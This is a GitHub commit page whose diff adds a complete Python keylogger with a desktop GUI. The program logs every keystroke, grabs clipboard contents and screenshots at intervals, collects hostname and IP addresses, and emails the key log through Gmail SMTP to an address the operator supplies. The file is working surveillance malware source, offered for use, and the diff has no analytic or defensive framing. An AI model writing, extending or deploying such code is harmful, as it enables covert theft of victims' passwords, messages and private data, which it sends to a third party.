Skip to content

Commit be1b280

Browse files
feat(zip): create zip bundle of logs & send via email
1 parent a7b3455 commit be1b280

File tree

3 files changed

+467
-38
lines changed

3 files changed

+467
-38
lines changed

app/aaaa.py

Lines changed: 394 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,394 @@
1+
# Import necessary libraries
2+
import logging
3+
import os
4+
import platform
5+
import smtplib
6+
import socket
7+
import threading
8+
import tkinter
9+
import urllib.error
10+
from email import encoders
11+
from email.mime.base import MIMEBase
12+
from email.mime.multipart import MIMEMultipart
13+
from email.mime.text import MIMEText
14+
from time import sleep
15+
from tkinter import messagebox, StringVar, Tk
16+
from urllib.request import urlopen
17+
18+
from PIL import ImageGrab, Image, ImageTk
19+
from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode, CTkImage
20+
from dotenv import load_dotenv
21+
from pynput.keyboard import Listener
22+
23+
import glob
24+
from datetime import datetime
25+
26+
import json
27+
import time
28+
29+
_DEFAULT_CONFIG = {
30+
"paths": {
31+
"data_dir": "app/data",
32+
"keys_file": "app/data/key_log.txt",
33+
"system_file": "app/data/systeminfo.txt",
34+
"clipboard_file": "app/data/clipboard.txt",
35+
"screenshot_dir": "app/data/screenshots"
36+
}
37+
,
38+
"intervals_seconds": {
39+
"screenshot_interval": 900,
40+
"email_interval": 900,
41+
"clipboard_interval": 30,
42+
"loop_sleep": 1
43+
},
44+
"screenshots": {"keep_latest": 10},
45+
"email": {
46+
"smtp_host": "smtp.gmail.com",
47+
"smtp_port": 587,
48+
"from_env": True,
49+
"from_address_env_var": "email",
50+
"from_password_env_var": "pass"
51+
},
52+
"gui": {
53+
"icon": "cracking.ico",
54+
"image": "cracking.png",
55+
"window_title": "Key Logger 5155"
56+
},
57+
"safety": {"require_confirm": True}
58+
}
59+
60+
def load_config():
61+
"""Load ../config.json relative to this file, merge with defaults."""
62+
base_dir = os.path.dirname(os.path.abspath(__file__))
63+
config_path = os.path.join(base_dir, "..", "config.json")
64+
cfg = _DEFAULT_CONFIG.copy()
65+
66+
try:
67+
with open(config_path, "r", encoding="utf-8") as f:
68+
user_cfg = json.load(f)
69+
except FileNotFoundError:
70+
logging.warning(f"config.json not found at {config_path}, using defaults")
71+
return cfg
72+
except json.JSONDecodeError as e:
73+
logging.error(f"Invalid config.json: {e}")
74+
return cfg
75+
76+
for top_key, top_val in user_cfg.items():
77+
if top_key in cfg and isinstance(cfg[top_key], dict) and isinstance(top_val, dict):
78+
cfg[top_key].update(top_val)
79+
else:
80+
cfg[top_key] = top_val
81+
return cfg
82+
83+
# Load config once
84+
config = load_config()
85+
86+
87+
# Load environment variables
88+
load_dotenv()
89+
90+
# Configure logging
91+
logging.basicConfig(
92+
filename=os.path.join(os.path.dirname(__file__), "data", "key_log.txt"),
93+
level=logging.DEBUG,
94+
format="%(asctime)s, %(message)s"
95+
)
96+
97+
# File paths for various log files
98+
# Config-based paths and intervals
99+
paths = config["paths"]
100+
keys_information = paths["keys_file"]
101+
system_information = paths["system_file"]
102+
clipboard_information = paths["clipboard_file"]
103+
SCREENSHOT_DIR = paths["screenshot_dir"]
104+
105+
intervals = config["intervals_seconds"]
106+
SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900))
107+
EMAIL_INTERVAL = int(intervals.get("email_interval", 900))
108+
CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30))
109+
LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0))
110+
111+
KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10))
112+
113+
email_cfg = config["email"]
114+
SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com")
115+
SMTP_PORT = int(email_cfg.get("smtp_port", 587))
116+
117+
# Load email credentials (prefer env)
118+
if email_cfg.get("from_env", True):
119+
email_address = os.getenv(email_cfg.get("from_address_env_var", "email"))
120+
password = os.getenv(email_cfg.get("from_password_env_var", "pass"))
121+
else:
122+
email_address = email_cfg.get("from_address")
123+
password = email_cfg.get("from_password")
124+
125+
# Retrieve email and password from environment variables
126+
email_address = os.getenv('email')
127+
password = os.getenv('pass')
128+
129+
# Global variables for email sending
130+
toAddr = ""
131+
state = 0
132+
stopFlag = False
133+
134+
135+
# Function to handle closing of the application window
136+
def on_closing():
137+
global stopFlag
138+
if messagebox.askokcancel("Quit", "Do you want to quit?"):
139+
stopFlag = True
140+
root.destroy()
141+
142+
143+
# Function to send email with attachment
144+
def send_email(filename, attachment, toaddr):
145+
fromaddr = email_address
146+
msg = MIMEMultipart()
147+
msg['From'] = fromaddr
148+
msg['To'] = toaddr
149+
msg['Subject'] = "Log File"
150+
body = "LOG file"
151+
msg.attach(MIMEText(body, 'plain'))
152+
filename = filename
153+
attachment = open(attachment, 'rb')
154+
p = MIMEBase('application', 'octet-stream')
155+
p.set_payload(attachment.read())
156+
encoders.encode_base64(p)
157+
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
158+
msg.attach(p)
159+
s = smtplib.SMTP('smtp.gmail.com', 587)
160+
s.starttls()
161+
s.login(fromaddr, password)
162+
text = msg.as_string()
163+
s.sendmail(fromaddr, toaddr, text)
164+
s.quit()
165+
166+
167+
# Function to gather system information
168+
def computer_information():
169+
with open(system_information, "a") as f:
170+
hostname = socket.gethostname()
171+
IPAddr = socket.gethostbyname(hostname)
172+
173+
try:
174+
with urlopen("https://api.ipify.org", timeout=10) as response:
175+
public_ip = response.read().decode()
176+
f.write(f"Public IP Address: {public_ip}\n")
177+
except urllib.error.URLError:
178+
# called if say there's something causing the connection request to fail
179+
f.write("Public IP Address: Couldn't get Public IP Address\n")
180+
181+
f.write("Processor: " + (platform.processor()) + '\n')
182+
f.write("System: " + platform.system() + " " + platform.version() + '\n')
183+
f.write("Machine: " + platform.machine() + "\n")
184+
f.write("Hostname: " + hostname + "\n")
185+
f.write("Private IP Address: " + IPAddr + "\n")
186+
187+
188+
# Function to copy clipboard content
189+
def copy_clipboard():
190+
with open(clipboard_information, "a") as f:
191+
try:
192+
r = Tk()
193+
r.withdraw()
194+
pasted_data = r.clipboard_get()
195+
f.write("\nClipboard Data: \n" + pasted_data)
196+
except tkinter.TclError:
197+
f.write("\nClipboard could be not be copied")
198+
199+
200+
# Function to take screenshot
201+
def screenshot():
202+
os.makedirs(SCREENSHOT_DIR, exist_ok=True)
203+
204+
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
205+
206+
screenshot_information = os.path.join(SCREENSHOT_DIR, f"screenshot_{timestamp}.png")
207+
208+
im = ImageGrab.grab()
209+
im.save(screenshot_information)
210+
211+
print(f"Saved screenshot: {screenshot_information}")
212+
limit_screenshots(SCREENSHOT_DIR, keep=10)
213+
214+
215+
216+
def limit_screenshots(directory, keep=10):
217+
218+
"""Delete old screenshots if more than 'keep' exist."""
219+
220+
screenshots = sorted(
221+
glob.glob(os.path.join(directory, "*.png")),
222+
key=os.path.getmtime
223+
)
224+
225+
if len(screenshots) > keep:
226+
for old_file in screenshots[:-keep]:
227+
try:
228+
os.remove(old_file)
229+
print(f"Deleted old screenshot: {old_file}")
230+
except Exception as e:
231+
print(f"Error deleting {old_file}: {e}")
232+
233+
234+
235+
# Global variables for key logging
236+
count = 0
237+
keys = []
238+
239+
240+
# Function to handle key press event
241+
def on_press(key):
242+
global keys, count
243+
print(key)
244+
keys.append(key)
245+
count += 1
246+
if count >= 1:
247+
count = 0
248+
write_file(keys)
249+
keys = []
250+
251+
252+
# Function to write key logs to file
253+
def write_file(keys):
254+
for key in keys:
255+
k = str(key).replace("'", "")
256+
logging.info(k)
257+
258+
259+
listener = Listener(on_press=on_press)
260+
261+
262+
# Function to start keylogger
263+
def start_logger():
264+
global listener, toAddr, btnStr, stopFlag
265+
listener.start()
266+
btnStr.set("Stop Keylogger")
267+
268+
screenshot()
269+
last_screenshot = time.time()
270+
last_clipboard = time.time()
271+
last_email = time.time()
272+
273+
while True:
274+
if stopFlag:
275+
break
276+
277+
now = time.time()
278+
279+
# Clipboard capture
280+
if now - last_clipboard >= CLIPBOARD_INTERVAL:
281+
try:
282+
copy_clipboard()
283+
except Exception as e:
284+
logging.error(f"Clipboard error: {e}")
285+
last_clipboard = now
286+
287+
# Screenshot capture
288+
if now - last_screenshot >= SCREENSHOT_INTERVAL:
289+
try:
290+
screenshot()
291+
except Exception as e:
292+
logging.error(f"Screenshot error: {e}")
293+
last_screenshot = now
294+
295+
# Email send
296+
if now - last_email >= EMAIL_INTERVAL:
297+
if email_address and password and toAddr:
298+
try:
299+
send_email(keys_information, keys_information, toAddr)
300+
except Exception as e:
301+
logging.error(f"Email send failed: {e}")
302+
last_email = now
303+
304+
time.sleep(LOOP_SLEEP)
305+
306+
listener.stop()
307+
btnStr.set("Start Keylogger")
308+
listener = Listener(on_press=on_press)
309+
310+
311+
312+
# Function to handle button click event
313+
def on_button_click():
314+
global state, toAddr, listener, stopFlag, receiver_entry, btnStr
315+
toAddr = receiver_entry.get()
316+
317+
current_state = receiver_entry.cget("state")
318+
319+
if current_state == 'normal':
320+
receiver_entry.configure(state="disabled")
321+
btnStr.set("Starting...")
322+
else:
323+
receiver_entry.configure(state="normal")
324+
btnStr.set("Stopping...")
325+
if state == 0:
326+
state = 1
327+
print(state)
328+
stopFlag = False
329+
thread = threading.Thread(target=start_logger)
330+
thread.start()
331+
elif state == 1:
332+
state = 0
333+
print(state)
334+
stopFlag = True
335+
btnStr.set("Start Keylogger")
336+
337+
338+
# Create the root window
339+
set_appearance_mode("dark")
340+
root = CTk() # Creating root window using customTkinter, it allows to change color of Title bar unlike the official tkinter
341+
root.geometry("800x600")
342+
root.resizable(False, False)
343+
root.protocol("WM_DELETE_WINDOW", on_closing)
344+
345+
# Main frame to hold all widgets and center them
346+
main_frame = CTkFrame(root, fg_color="transparent")
347+
main_frame.pack(expand=True)
348+
349+
# Set initial button text
350+
btnStr = StringVar()
351+
btnStr.set("Start Keylogger")
352+
353+
# Load and set icon on Title bar
354+
base_dir = os.path.dirname(os.path.abspath(__file__))
355+
icon_path = os.path.join(base_dir, "data", "cracking.ico")
356+
img_path = os.path.join(os.path.dirname(__file__), "cracking.png")
357+
image = Image.open(img_path)
358+
359+
icon_path = os.path.join(os.path.dirname(__file__), "cracking.ico")
360+
root.after(201, lambda: root.iconbitmap(icon_path))
361+
image = Image.open(img_path)
362+
363+
resize_image = image.resize((300, 300))
364+
img = CTkImage(light_image=resize_image, size=(240, 240))
365+
icon = CTkLabel(main_frame, image=img, text="")
366+
icon.pack(pady=(20, 0))
367+
368+
# Set window title
369+
root.title("Key Logger 5155")
370+
371+
# Display title label
372+
Title = CTkLabel(main_frame, text="Key Logger 5155", font=("Cascadia Code", 50, "bold"), text_color="#00ff00")
373+
Title.pack(pady=(10, 20))
374+
375+
# Frame for input widgets
376+
InputFrame = CTkFrame(main_frame, fg_color="transparent")
377+
InputFrame.pack(pady=10)
378+
379+
# Widgets for email address entry
380+
receiver_label = CTkLabel(InputFrame, text="Recipient's E-mail Address : ", font=("Cascadia Code", 13, "bold"),
381+
text_color="#00ff00")
382+
receiver_entry = CTkEntry(InputFrame, width=300, font=("Cascadia Code", 13, "bold"),
383+
placeholder_text="Enter recipient's email...", border_color="#00ff00", border_width=2)
384+
receiver_entry.grid(row=0, column=1, padx=10)
385+
receiver_label.grid(row=0, column=0)
386+
387+
# Button to start/stop keylogger
388+
button = CTkButton(main_frame, textvariable=btnStr, command=on_button_click, width=200,
389+
font=("Cascadia Code", 13, "bold"), fg_color="#00ff00", hover_color="#008F11",
390+
text_color="#000000", corner_radius=6, border_width=2, border_color="#000000")
391+
button.pack(pady=20)
392+
393+
# Run the main event loop
394+
root.mainloop()

0 commit comments

Comments
 (0)